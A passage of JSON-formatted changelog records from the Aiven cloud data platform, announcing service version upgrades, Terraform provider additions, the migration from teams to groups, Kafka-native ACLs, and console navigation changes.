been upgraded to the latest release, 1.5.1, which includes a number of bug fixes"} {"__i18n_lang":"en","_createdAt":"2022-10-27T09:10:28Z","_i18n_lang":"en","_id":"87fabb72-94b7-46a7-95d9-c9542f60f97e","_rev":"AUoLUkEDo6CVeRx5sqPq1R","_type":"changelog","_updatedAt":"2024-02-09T08:22:55Z","changeType":"","description":[{"_key":"13fe73e0-d65a-4524-af38-3898a4b7e6cd","_type":"block","children":[{"_key":"5080fec7-49fa-447d-95f2-1bd3f37ed557","_type":"span","marks":[],"text":"See the "},{"_key":"76967da2-7270-4367-8429-d18f3ae4446b","_type":"span","marks":["m7075048173000"],"text":"release announcement"},{"_key":"d855e1b0-c71d-4ad7-9849-788e06193445","_type":"span","marks":[],"text":" for details of the changes in the 1.5 series."}],"markDefs":[{"_key":"m7075048173000","_type":"link","href":"https://www.influxdata.com/blog/release-announcement-influxdb-1-5-0-influxdb-enterprise-1-5-0/"}],"style":"normal"}],"publishedAt":"2018-03-19T00:00:00.000Z","title":"Aiven for InfluxDB has been upgraded to the latest release, 1.5.0, which introduces numerous new features and improvements"} {"__i18n_lang":"en","_createdAt":"2022-10-27T09:09:39Z","_i18n_lang":"en","_id":"e8fe5b1f-543c-4bb5-9ed9-22898c2a7027","_rev":"AUoLUkEDo6CVeRx5sqQBTf","_type":"changelog","_updatedAt":"2024-02-09T08:25:43Z","changeType":"","description":[{"_key":"9c1cbc5b-a281-4752-922a-064c53abb73e","_type":"block","children":[{"_key":"84b36899-30fc-4cb5-a746-99ce5a16b4db","_type":"span","marks":[],"text":"Please see "},{"_key":"3ad4cd4b-e08d-4f7c-b87e-f2dfd4f59287","_type":"span","marks":["m16236826745083"],"text":"this help article"},{"_key":"f0363ac3-f948-4682-b385-f6198971bab5","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m16236826745083","_type":"link","href":"https://help.aiven.io/services/aiven-terraform-integration"}],"style":"normal"}],"publishedAt":"2018-09-28T00:00:00.000Z","tags":[{"_key":"b3ea6684-899b-417d-ad00-12ea6f2e28e2","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"service"},{"_key":"20e5c78d-04c3-410a-b291-740869b85249","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"},{"_key":"edf1b4cf-b363-4f8a-85ff-40910bb8173e","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"6f5ee5d8-c780-4d44-9ab9-3fd5937f6289","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"4efba8e8-7f4b-47d5-ac87-7cd093235cf7","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Using Terraform to manage Aiven services is now officially supported"} {"__i18n_lang":"en","_createdAt":"2022-10-27T09:09:36Z","_i18n_lang":"en","_id":"fbf6809e-887e-4d76-936d-24ef677db981","_rev":"AUoLUkEDo6CVeRx5sqQDKZ","_type":"changelog","_updatedAt":"2024-02-09T08:26:25Z","changeType":"","description":[{"_key":"a00f9bbd-8998-4534-82f3-520fefcb525e","_type":"block","children":[{"_key":"9772dee7-94e4-4ca7-a1e0-ea27b6bc2602","_type":"span","marks":[],"text":"Old services need to apply optional maintenance update to enable this functionality."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-10-09T00:00:00.000Z","tags":[{"_key":"1fcf5d10-5741-4421-9e63-0aae0eb5934b","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"},{"_key":"3190d431-246e-4d25-8749-4b1def0b5e80","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka now reports consumer offsets also for offline consumers"} {"__i18n_lang":"en","_createdAt":"2022-10-27T09:10:56Z","_i18n_lang":"en","_id":"e00d3a13-2212-42d0-8c3d-bd516fcd99a7","_rev":"aqN8LslQ3cZYmtCXIvCZtq","_type":"changelog","_updatedAt":"2024-02-09T08:25:13Z","changeType":"","description":[{"_key":"0ff3071f-4b08-4003-83d4-d9fc25903b50","_type":"block","children":[{"_key":"6d2a84ac-54d4-475b-8134-c604edf2f9bd","_type":"span","marks":[],"text":"See the "},{"_key":"e108db0e-7e1a-4645-a83d-d1abcbe48d12","_type":"span","marks":["m15795489572423"],"text":"Getting Started"},{"_key":"d0f4d068-cc3e-428c-8576-cc9c9e68971f","_type":"span","marks":[],"text":" article for more information."}],"markDefs":[{"_key":"m15795489572423","_type":"link","href":"https://help.aiven.io/services/getting-started-with-service-integrations"}],"style":"normal"}],"publishedAt":"2018-01-11T00:00:00.000Z","tags":[{"_key":"74ae08ca-d9ea-45b2-b483-6001700792cb","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"7c9ec863-7515-4574-bd12-c2840bfc4475","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Send advanced Aiven for Apache Kafka telemetry data to an Aiven for InfluxDB metrics database and visualize it in Aiven for Grafana"} {"__i18n_lang":"en","_createdAt":"2024-02-22T08:43:30Z","_id":"21f6f6f8-63c7-4f8a-88df-4ace3cae9563","_rev":"p92WeIHLmx3eRj4zi54EcP","_type":"changelog","_updatedAt":"2024-07-01T10:43:41Z","changeType":"new","description":[{"_key":"54d93061ffc1","_type":"block","children":[{"_key":"50889d72904d0","_type":"span","marks":[],"text":"Groups were "},{"_key":"50889d72904d1","_type":"span","marks":["e6fcddc7d6b9"],"text":"released in September 2023"},{"_key":"50889d72904d2","_type":"span","marks":[],"text":" to provide a more efficient and centralized way of managing user groups. The deprecation will happen in phases to make the transition to groups as easy and seamless as possible:"}],"markDefs":[{"_key":"e6fcddc7d6b9","_type":"link","href":"https://aiven.io/blog/streamlined-user-management-in-the-aiven-platform"}],"style":"normal"},{"_key":"1efdfd136143","_type":"block","children":[{"_key":"a0b5955acf7a0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"e6ad1717a85e","_type":"block","children":[{"_key":"a8ed9a3656550","_type":"span","marks":["strong"],"text":"Account Owners will transition to super admin"}],"markDefs":[],"style":"normal"},{"_key":"fa41eabc9e25","_type":"block","children":[{"_key":"0d8a6dd4efe00","_type":"span","marks":[],"text":"On 30 September 2024 the Account Owners team will be removed. "},{"_key":"0d8a6dd4efe01","_type":"span","marks":["317f180351d7"],"text":"Super admin"},{"_key":"0d8a6dd4efe02","_type":"span","marks":[],"text":" have full access to organizations. The Account Owners and super admin are synced, so the removal of the Account Owners team will have no impact on existing permissions."}],"markDefs":[{"_key":"317f180351d7","_type":"link","href":"https://aiven.io/docs/platform/howto/make-super-admin#make-a-user-a-super-admin"}],"style":"normal"},{"_key":"1059f0fe6e03","_type":"block","children":[{"_key":"5419ce16aedc0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"6706462a1b0d","_type":"block","children":[{"_key":"03b5316476d30","_type":"span","marks":["strong"],"text":"Teams will become read-only"}],"markDefs":[],"style":"normal"},{"_key":"9c7ca1cdd004","_type":"block","children":[{"_key":"9918f0d27f470","_type":"span","marks":[],"text":"From 4 November 2024 you won’t be able to create new teams or update existing ones. To simplify the move, we’ll also migrate your existing teams to groups."}],"markDefs":[],"style":"normal"},{"_key":"1889cc0d9414","_type":"block","children":[{"_key":"1daa077f51e0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"09b27960bccc","_type":"block","children":[{"_key":"213edec0fbcb","_type":"span","marks":["strong"],"text":"Teams will be removed"}],"markDefs":[],"style":"normal"},{"_key":"e4bbe0ed8aea","_type":"block","children":[{"_key":"519a319b691d0","_type":"span","marks":[],"text":"On 2 December 2024 all teams will be deleted and the teams feature will be completely removed."}],"markDefs":[],"style":"normal"},{"_key":"33d0841016e2","_type":"block","children":[{"_key":"453d7a7c391a","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"0816516f6638","_type":"block","children":[{"_key":"cbca45727e7e0","_type":"span","marks":[],"text":"For more information about groups read "},{"_key":"cbca45727e7e1","_type":"span","marks":["77cb462c43af"],"text":"the release announcement for groups"},{"_key":"08855eb455eb","_type":"span","marks":[],"text":", "},{"_key":"cbca45727e7e3","_type":"span","marks":["eda041117728"],"text":"the teams documentation"},{"_key":"7c17803b52b8","_type":"span","marks":[],"text":" and "},{"_key":"a6a5442416d9","_type":"span","marks":["c5b0b5275cb8"],"text":"Terraform migration guide"},{"_key":"e8e79f515939","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"77cb462c43af","_type":"link","href":"https://aiven.io/blog/streamlined-user-management-in-the-aiven-platform"},{"_key":"eda041117728","_type":"link","href":"https://aiven.io/docs/tools/aiven-console/howto/create-manage-teams"},{"_key":"c5b0b5275cb8","_type":"link","href":"https://aiven.io/docs/tools/terraform/howto/migrate-from-teams-to-groups"}],"style":"normal"}],"publishedAt":"2024-07-01T10:43:00.000Z","tags":[{"_key":"495eebfc37c9","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"},{"_key":"c429e2d4a640","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"Teams have been deprecated and are being migrated to groups "} {"__i18n_lang":"en","_createdAt":"2024-12-10T10:06:41Z","_id":"06846b88-5863-46ed-9d46-fa6f46ea56b8","_rev":"lbpMA3MBWy0eIji4xk3o9e","_type":"changelog","_updatedAt":"2024-12-10T15:00:49Z","changeType":"new","description":[{"_key":"c6984ec0dff0","_type":"block","children":[{"_key":"89a2db60d21e0","_type":"span","marks":[],"text":"Aiven for Apache Kafka® MirrorMaker 2 now supports exactly-once delivery, ensuring each message is replicated exactly once between Apache Kafka clusters to prevent duplicates and data loss. To enable this feature, apply the required "},{"_key":"89a2db60d21e1","_type":"span","marks":["517f6e1f40d6"],"text":"service maintenance updates"},{"_key":"89a2db60d21e2","_type":"span","marks":[],"text":".\nTo learn more, see "},{"_key":"89a2db60d21e3","_type":"span","marks":["d571c9b60dbe"],"text":"Exactly-once delivery in Aiven for Apache Kafka MirrorMaker 2"},{"_key":"89a2db60d21e4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"517f6e1f40d6","_type":"link","href":"https://aiven.io/docs/platform/concepts/maintenance-window"},{"_key":"d571c9b60dbe","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-mirrormaker/howto/exactly-once-delivery"}],"style":"normal"}],"publishedAt":"2024-12-10T15:00:00.000Z","tags":[{"_key":"422c043bee83","_ref":"62cedd51-63b9-476e-8e2e-9076cef60562","_type":"service"}],"title":"Exactly-once delivery for Aiven for Apache Kafka® MirrorMaker 2"} {"__i18n_lang":"en","_createdAt":"2024-03-04T14:09:39Z","_id":"680f1bcf-c929-433b-ae2a-0a753244f23e","_rev":"bjd9bS9uM8kqzH43T6qtkA","_type":"changelog","_updatedAt":"2024-03-04T14:09:39Z","changeType":"improved","description":[{"_key":"8d1be4e8f773","_type":"block","children":[{"_key":"46a5394f29150","_type":"span","marks":[],"text":"Aiven for PostgreSQL® has been upgraded to latest minor versions 16.2, 15.6, 14.11, 13.14, and 12.18, which contain a variety of fixes to the previous versions. Removing bugs and security vulnerabilities increases database performance, improves service availability, and helps ensure business continuity."}],"markDefs":[],"style":"normal"},{"_key":"997d4d195d30","_type":"block","children":[{"_key":"fcbbc90e67370","_type":"span","marks":[],"text":"See "},{"_key":"fcbbc90e67371","_type":"span","marks":["573c9566f679"],"text":"PostgreSQL release notes"},{"_key":"fcbbc90e67372","_type":"span","marks":[],"text":" for more details about the PostgreSQL® minor releases."}],"markDefs":[{"_key":"573c9566f679","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2024-02-27T14:08:00.000Z","tags":[{"_key":"b63c632e8de6","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL® upgraded to 16.2, 15.6, 14.11, 13.14, and 12.18"} {"__i18n_lang":"en","_createdAt":"2024-12-06T09:46:33Z","_id":"013b9505-2bad-4716-8576-9983b534accc","_rev":"CsJhS699U5wscrFy6tE1nu","_type":"changelog","_updatedAt":"2024-12-06T09:46:33Z","changeType":"new","description":[{"_key":"50cc47dd5bcb","_type":"block","children":[{"_key":"aa0cc6e8db43","_type":"span","marks":[],"text":"This version adds "},{"_key":"2c78327e2001","_type":"span","marks":["e39caeb59f69"],"text":"the aiven_kafka_native_acl resource"},{"_key":"fc9e3fa24c2c","_type":"span","marks":[],"text":" and the "},{"_key":"55b95bfbba34","_type":"span","marks":["code"],"text":"exactly_once_delivery_enabled"},{"_key":"9ebf137fa23e","_type":"span","marks":[],"text":" field to the "},{"_key":"d0e258a0c1ca","_type":"span","marks":["code"],"text":"aiven_mirrormaker_replication_flow"},{"_key":"8c415a015193","_type":"span","marks":[],"text":" resource to enable exactly-once message delivery for an "},{"_key":"1623af419280","_type":"span","marks":["7353d571c1bc"],"text":"Aiven for Apache Kafka® MirrorMaker 2 replication flow"},{"_key":"e6ea16d32457","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"e39caeb59f69","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/kafka_native_acl"},{"_key":"7353d571c1bc","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/mirrormaker_replication_flow"}],"style":"normal"},{"_key":"85e6fdafe09c","_type":"block","children":[{"_key":"2e5d977fa7ff","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"7f2de48a4276","_type":"block","children":[{"_key":"197efbba9f98","_type":"span","marks":[],"text":"Other additions include:"}],"markDefs":[],"style":"normal"},{"_key":"814aeff0acc0","_type":"block","children":[{"_key":"47361e20c0c21","_type":"span","marks":["code"],"text":"aiven_opensearch"},{"_key":"47361e20c0c22","_type":"span","marks":[],"text":" resource field "},{"_key":"47361e20c0c23","_type":"span","marks":["code"],"text":"opensearch_user_config.opensearch.search_insights_top_queries"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"52938766ca47","_type":"block","children":[{"_key":"8141b5c7637e1","_type":"span","marks":["code"],"text":"aiven_thanos"},{"_key":"8141b5c7637e2","_type":"span","marks":[],"text":" resource field "},{"_key":"8141b5c7637e3","_type":"span","marks":["code"],"text":"thanos_user_config.private_access"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1ba2d1860d8a","_type":"block","children":[{"_key":"e4d18a90c1a71","_type":"span","marks":["code"],"text":"aiven_thanos"},{"_key":"e4d18a90c1a72","_type":"span","marks":[],"text":" resource field "},{"_key":"e4d18a90c1a73","_type":"span","marks":["code"],"text":"thanos_user_config.privatelink_access"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5fa79e478116","_type":"block","children":[{"_key":"19a4474e97db1","_type":"span","marks":["code"],"text":"aiven_opensearch"},{"_key":"19a4474e97db2","_type":"span","marks":[],"text":" datasource field "},{"_key":"19a4474e97db3","_type":"span","marks":["code"],"text":"opensearch_user_config.opensearch.search_insights_top_queries"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"95fe78f3a065","_type":"block","children":[{"_key":"8c9665f65dc71","_type":"span","marks":["code"],"text":"aiven_thanos"},{"_key":"8c9665f65dc72","_type":"span","marks":[],"text":" data source field "},{"_key":"8c9665f65dc73","_type":"span","marks":["code"],"text":"thanos_user_config.private_access"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"838e636ac2d6","_type":"block","children":[{"_key":"fdd5587c75691","_type":"span","marks":["code"],"text":"aiven_thanos"},{"_key":"fdd5587c75692","_type":"span","marks":[],"text":" data source field "},{"_key":"fdd5587c75693","_type":"span","marks":["code"],"text":"thanos_user_config.privatelink_access"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"740facbbc9ae","_type":"block","children":[{"_key":"e7e06c3b15a81","_type":"span","marks":["code"],"text":"aiven_service_integration_endpoint"},{"_key":"e7e06c3b15a82","_type":"span","marks":[],"text":" resource field "},{"_key":"e7e06c3b15a83","_type":"span","marks":["code"],"text":"datadog_user_config.extra_tags_prefix"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5029af7bc37e","_type":"block","children":[{"_key":"f463a856e5741","_type":"span","marks":["code"],"text":"aiven_service_integration_endpoint"},{"_key":"f463a856e5742","_type":"span","marks":[],"text":" datasource field "},{"_key":"f463a856e5743","_type":"span","marks":["code"],"text":"datadog_user_config.extra_tags_prefix"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d9311d882746","_type":"block","children":[{"_key":"70339e44666b0","_type":"span","marks":[],"text":"For more details, view the complete Aiven Provider for Terraform "},{"_key":"70339e44666b1","_type":"span","marks":["49466e8bf0dd"],"text":"changelog"},{"_key":"70339e44666b2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"49466e8bf0dd","_type":"link","href":"https://github.com/aiven/terraform-provider-aiven/blob/main/CHANGELOG.md"}],"style":"normal"},{"_key":"5e48701ee0bd","_type":"block","children":[{"_key":"7f312d212b9d0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-12-05T14:42:00.000Z","tags":[{"_key":"bbadbaf0faa1","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"Aiven Provider for Terraform version 4.30.0 now available"} {"__i18n_lang":"en","_createdAt":"2024-12-06T10:17:01Z","_id":"1f8c9a97-e1d7-43c3-8236-4262bff7d391","_rev":"YU4kCQh9dJYVB9mWnkueIb","_type":"changelog","_updatedAt":"2024-12-12T14:15:25Z","changeType":"new","description":[{"_key":"fd4edc7900d5","_type":"block","children":[{"_key":"62568770da1f0","_type":"span","marks":[],"text":"Aiven for Apache Kafka now supports both "},{"_key":"62568770da1f1","_type":"span","marks":["strong"],"text":"Kafka-native ACLs"},{"_key":"62568770da1f2","_type":"span","marks":[],"text":" and "},{"_key":"62568770da1f3","_type":"span","marks":["strong"],"text":"Aiven ACLs"},{"_key":"62568770da1f4","_type":"span","marks":[],"text":", providing enhanced access control capabilities."}],"markDefs":[],"style":"normal"},{"_key":"46a76494c7a7","_type":"block","children":[{"_key":"099ccfb5fa7e0","_type":"span","marks":["strong"],"text":"Kafka-native ACLs"},{"_key":"099ccfb5fa7e1","_type":"span","marks":[],"text":": Enable fine-grained control for Clusters, Topics, Groups, and TransactionalId resources, with support for "},{"_key":"099ccfb5fa7e2","_type":"span","marks":["code"],"text":"ALLOW"},{"_key":"099ccfb5fa7e3","_type":"span","marks":[],"text":" and "},{"_key":"099ccfb5fa7e4","_type":"span","marks":["code"],"text":"DENY"},{"_key":"099ccfb5fa7e5","_type":"span","marks":[],"text":" rules."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4a7fe3d43dca","_type":"block","children":[{"_key":"77a48c0273270","_type":"span","marks":["strong"],"text":"Aiven ACLs"},{"_key":"77a48c0273271","_type":"span","marks":[],"text":": Simplify access control with predefined permissions and wildcard support for flexible configuration."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ec151c25dcd7","_type":"block","children":[{"_key":"2c74cca80a090","_type":"span","marks":[],"text":"Kafka-native ACLs can be used in parallel with Aiven ACLs, with no requirement to migrate or choose one over the other. If only Kafka-native ACLs are needed, Aiven ACLs can be removed from the service. Both ACL types are configurable through the Aiven Console, Aiven CLI, Aiven API, and Aiven Provider for Terraform. To use Kafka-native ACLs, apply the required "},{"_key":"2c74cca80a091","_type":"span","marks":["eb9a4b528fae"],"text":"service maintenance updates"},{"_key":"2c74cca80a092","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"eb9a4b528fae","_type":"link","href":"https://aiven.io/docs/platform/concepts/maintenance-window"}],"style":"normal"},{"_key":"9c1a04c174c2","_type":"block","children":[{"_key":"299ffc51575f0","_type":"span","marks":[],"text":"To learn more, see "},{"_key":"299ffc51575f1","_type":"span","marks":["06d32568df0f"],"text":"Access Control Lists in Aiven for Apache Kafka®"},{"_key":"299ffc51575f2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"06d32568df0f","_type":"link","href":"https://aiven.io/docs/products/kafka/howto/manage-acls"}],"style":"normal"}],"publishedAt":"2024-12-12T14:15:00.000Z","tags":[{"_key":"af2d4ea8815c","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Support for Kafka-native ACLs in Aiven for Apache Kafka®"} {"_createdAt":"2022-10-27T09:10:23Z","_i18n_lang":"en","_id":"62b3291c-a770-4fad-9bc5-79aa3af491ff","_rev":"LZdZtpADiowz8bkvB6njze","_type":"changelog","_updatedAt":"2022-10-27T09:10:23Z","changeType":"","description":[{"_key":"e4e9787b-7767-4d2a-88cb-c1f75c1c7bdd","_type":"block","children":[{"_key":"21c363fd-0617-49dc-8224-ddb0dd6c42be","_type":"span","marks":[],"text":"Old instances will be updated during next Redis maintenance update (4.0.9 for most customers)."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-03-29T00:00:00.000Z","tags":[{"_key":"300d9486-8e0a-4a4d-b252-64fd177b85a7","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"The \u003ca href=\"https://redis.io/commands/eval\" rel=\"nofollow noopener noreferrer\"\u003eRedis EVAL\u003c/a\u003e command is now enabled by default for all new Redis instances"} {"__i18n_lang":"en","_createdAt":"2023-01-18T10:29:29Z","_id":"630c9574-41d2-498d-a085-d495a6aea09e","_rev":"6wJ6OxF1mPB2I3zegtxSmL","_type":"changelog","_updatedAt":"2023-02-03T12:04:21Z","changeType":"new","description":[{"_key":"a111b91d5bac","_type":"block","children":[{"_key":"3f75b8b5d8b10","_type":"span","marks":[],"text":"Aiven for PostgreSQL 15.1 is now available on the Aiven platform."}],"markDefs":[{"_key":"f8982c67e17c","_type":"link","href":"https://www.postgresql.org/about/news/postgresql-15-released-2526/"},{"_key":"a8155dfbdbbf","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql"}],"style":"normal"},{"_key":"5746c7f57a52","_type":"block","children":[{"_key":"dd5362323893","_type":"span","marks":[],"text":"This release comes with a wealth of new capabilities and performance enhancements, such as"}],"markDefs":[{"_key":"f8982c67e17c","_type":"link","href":"https://www.postgresql.org/about/news/postgresql-15-released-2526/"},{"_key":"a8155dfbdbbf","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql"}],"style":"normal"},{"_key":"15b74fef4eaf","_type":"block","children":[{"_key":"cd703dfa9ad0","_type":"span","marks":[],"text":"Improved sort performance and compression"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7dfd02558745","_type":"block","children":[{"_key":"1b2cbe588fb5","_type":"span","marks":[],"text":"Expressive developer features"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6c60bbe5a388","_type":"block","children":[{"_key":"fa4238038bab","_type":"span","marks":[],"text":"More options for logical replication"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"05997cde77b5","_type":"block","children":[{"_key":"5030576cb9f8","_type":"span","marks":[],"text":"New public schema permissions."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b2f118960dde","_type":"block","children":[{"_key":"c4012e67e870","_type":"span","marks":[],"text":"Learn more on the release in "},{"_key":"3f75b8b5d8b11","_type":"span","marks":["f8982c67e17c"],"text":"PostgreSQL release notes"},{"_key":"3f75b8b5d8b12","_type":"span","marks":[],"text":". For information on Aiven for PostgreSQL, see the service’s "},{"_key":"3f75b8b5d8b13","_type":"span","marks":["a8155dfbdbbf"],"text":"documentation"},{"_key":"3f75b8b5d8b14","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"f8982c67e17c","_type":"link","href":"https://www.postgresql.org/about/news/postgresql-15-released-2526/"},{"_key":"a8155dfbdbbf","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql"}],"style":"normal"}],"publishedAt":"2023-02-02T10:29:00.000Z","tags":[{"_key":"6197b6ac384f","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL 15.1 released"} {"_createdAt":"2022-10-27T09:09:52Z","_i18n_lang":"en","_id":"63530c43-d2f8-4437-9cba-ccb7b8a577a6","_rev":"dTcxLudMA3V5vz7pZEQl5l","_type":"changelog","_updatedAt":"2022-10-27T09:09:52Z","changeType":"","publishedAt":"2018-08-13T00:00:00.000Z","tags":[{"_key":"94c59c3b-3b63-404e-8fc4-c3cc625963ef","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka ACL update: allow consumer group deletion"} {"_createdAt":"2022-10-27T09:06:27Z","_i18n_lang":"en","_id":"640f644b-9822-4d6d-8e98-ca80b43c3382","_rev":"C4pC7IakZ1PpJ4LWR2B51F","_type":"changelog","_updatedAt":"2022-10-27T09:06:27Z","changeType":"","publishedAt":"2020-07-08T00:00:00.000Z","tags":[{"_key":"ffbcfde2-68cc-4b63-9484-62908236ef54","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 1.7.2."} {"_createdAt":"2022-10-27T09:07:40Z","_i18n_lang":"en","_id":"643bc2c5-dd3e-4cd9-b6e5-8f3cedbaebf9","_rev":"zF7BMhNhvYpWtPMfHNNVwE","_type":"changelog","_updatedAt":"2022-10-27T09:07:40Z","changeType":"","description":[{"_key":"fc4bfd02-a7e9-4664-933e-1b5f0de6adeb","_type":"block","children":[{"_key":"b04916c9-e299-44b1-bf60-8bae52055416","_type":"span","marks":[],"text":"See "},{"_key":"14f94ca1-a8d9-4024-ba5f-d6accefebf50","_type":"span","marks":["m10696212218385"],"text":"the help article"},{"_key":"ce20d332-542c-44d0-b4f5-e1523908170d","_type":"span","marks":[],"text":" for more instructions."}],"markDefs":[{"_key":"m10696212218385","_type":"link","href":"https://help.aiven.io/en/articles/3435096-azure-virtual-network-peering"}],"style":"normal"}],"publishedAt":"2019-10-23T00:00:00.000Z","tags":[],"title":"Project VPCs and virtual network peering is supported for Azure"} {"_createdAt":"2022-10-27T09:07:24Z","_i18n_lang":"en","_id":"64438e04-2b5c-4142-bd12-227cbbcfd996","_rev":"ncjVtEY290Sap8rHbFwh77","_type":"changelog","_updatedAt":"2022-10-27T09:07:24Z","changeType":"","description":[{"_key":"2e2770e9-5061-452e-8548-84319b86d565","_type":"block","children":[{"_key":"30bc73d1-3ecf-449f-8803-b04c99d6d344","_type":"span","marks":[],"text":"PostgreSQL 12 comes with many new features and performance enhancements. Please see our blog "},{"_key":"5f32ce69-ec6a-4a02-a464-814e17df1c26","_type":"span","marks":["m9653069245044"],"text":"post"},{"_key":"420c36b3-2ad9-4966-986d-f37130d8fd41","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m9653069245044","_type":"link","href":"https://aiven.io/blog/aiven-releases-postgesql-12"}],"style":"normal"}],"publishedAt":"2019-11-18T00:00:00.000Z","tags":[{"_key":"b7865265-a229-4cc6-848d-c39a34f5cd10","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL 12.1 now available"} {"__i18n_lang":"en","_createdAt":"2023-06-26T12:53:43Z","_id":"681563a5-5039-4338-bfbb-a3d90401a80d","_rev":"3aYT1pGLwXirVb0avsbOHy","_type":"changelog","_updatedAt":"2023-07-13T11:38:16Z","changeType":"improved","description":[{"_key":"032a97f7a7ce","_type":"block","children":[{"_key":"ad962ec44cb60","_type":"span","marks":[],"text":"Navigating in Aiven Console is now easier and more intuitive both for projects and services. The following improvements have been introduced:"}],"markDefs":[],"style":"normal"},{"_key":"2fb6d8a5c5da","_type":"block","children":[{"_key":"1367aa35aa560","_type":"span","marks":["strong"],"text":"New navigation"}],"markDefs":[],"style":"normal"},{"_key":"20191666327c","_type":"block","children":[{"_key":"f262d73328c00","_type":"span","marks":[],"text":"Effortlessly navigate your projects and services via the restructured left-side panels."}],"markDefs":[],"style":"normal"},{"_key":"cd0ca6e0b8f4","_type":"block","children":[{"_key":"c5f53e147d5f0","_type":"span","marks":["strong"],"text":"Breadcrumbs"}],"markDefs":[],"style":"normal"},{"_key":"e54c0393623b","_type":"block","children":[{"_key":"608f7f8463010","_type":"span","marks":[],"text":"Jump directly to what you need in your project structure using the new breadcrumbs navigation."}],"markDefs":[],"style":"normal"},{"_key":"97038d52ff7e","_type":"block","children":[{"_key":"54628a8519750","_type":"span","marks":[],"text":"Now, you can activate and try out the new navigation before it's officially launched. You can switch back to the original navigation in your profile settings \u003e "},{"_key":"54628a8519751","_type":"span","marks":["strong"],"text":"Feature preview."}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-07-13T11:36:00.000Z","tags":[{"_key":"47c8033e5993","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"New navigation for projects and services in Aiven Console"} {"__i18n_lang":"en","_createdAt":"2024-01-16T09:46:36Z","_id":"69433742-a695-4a63-8a4e-80ddbb65d16a","_rev":"ZLvKaZvfbZlWBlGcoxuCT9","_type":"changelog","_updatedAt":"2024-01-19T09:36:25Z","changeType":"new","description":[{"_key":"1018325fb2ba","_type":"block","children":[{"_key":"a771968f05ae0","_type":"span","marks":[],"text":"The "},{"_key":"a771968f05ae1","_type":"span","marks":["86a3da5711fc"],"text":"managed users"},{"_key":"a771968f05ae2","_type":"span","marks":[],"text":" feature brings a centralized approach to managing users in your organization. Administrators can edit user profiles, reset passwords, and enforce authentication methods for these users. This feature also lets you manage all users that belong to your company 